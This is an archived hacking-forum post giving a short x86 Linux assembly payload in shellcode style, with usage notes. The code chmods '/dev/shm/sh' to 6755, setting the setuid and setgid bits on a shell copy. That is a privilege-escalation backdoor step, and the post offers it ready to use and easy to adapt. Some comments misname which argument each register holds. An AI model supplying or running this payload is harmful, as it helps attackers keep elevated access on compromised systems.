This forum is in archive mode. You will not be able to post new content.

Author Topic: [Linux x86] - chmod a file  (Read 2097 times)

0 Members and 2 Guests are viewing this topic.

xor

  • Guest
[Linux x86] - chmod a file
« on: December 11, 2010, 05:18:11 PM »
Code: (asm) [Select]

.section .data
        .globl _start

_start:
        nop
        jmp  loadstring     # jump so we can put out string in mem

main:
        xor  %eax, %eax     # clear out syscall register
        xor  %ebx, %ebx     # clear out first argument (file)
        xor  %ecx, %ecx     # clear out second argument (perms)

        pop  %ebx           # put our string into the second arg
        movb %al, 7(%ebx) # terminate our string where the N is
        mov  $0xded, %cx    # move perms (6755) into the third arg
        mov  $0xf, %al      # move chmod syscall into %al register
        int  $0x80          # call chmod(file, perms)

        xor  %eax, %eax
        mov  %eax, %ebx
        inc  %eax
        int  $0x80

loadstring:
        call main
        .ascii "/dev/shm/shN"

Place your file in between the quotes on the last line, terminate with an N for padding.
Default permissions are 6755. Edit "mov $0xded" to change permissions. Numbers are hex values.

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.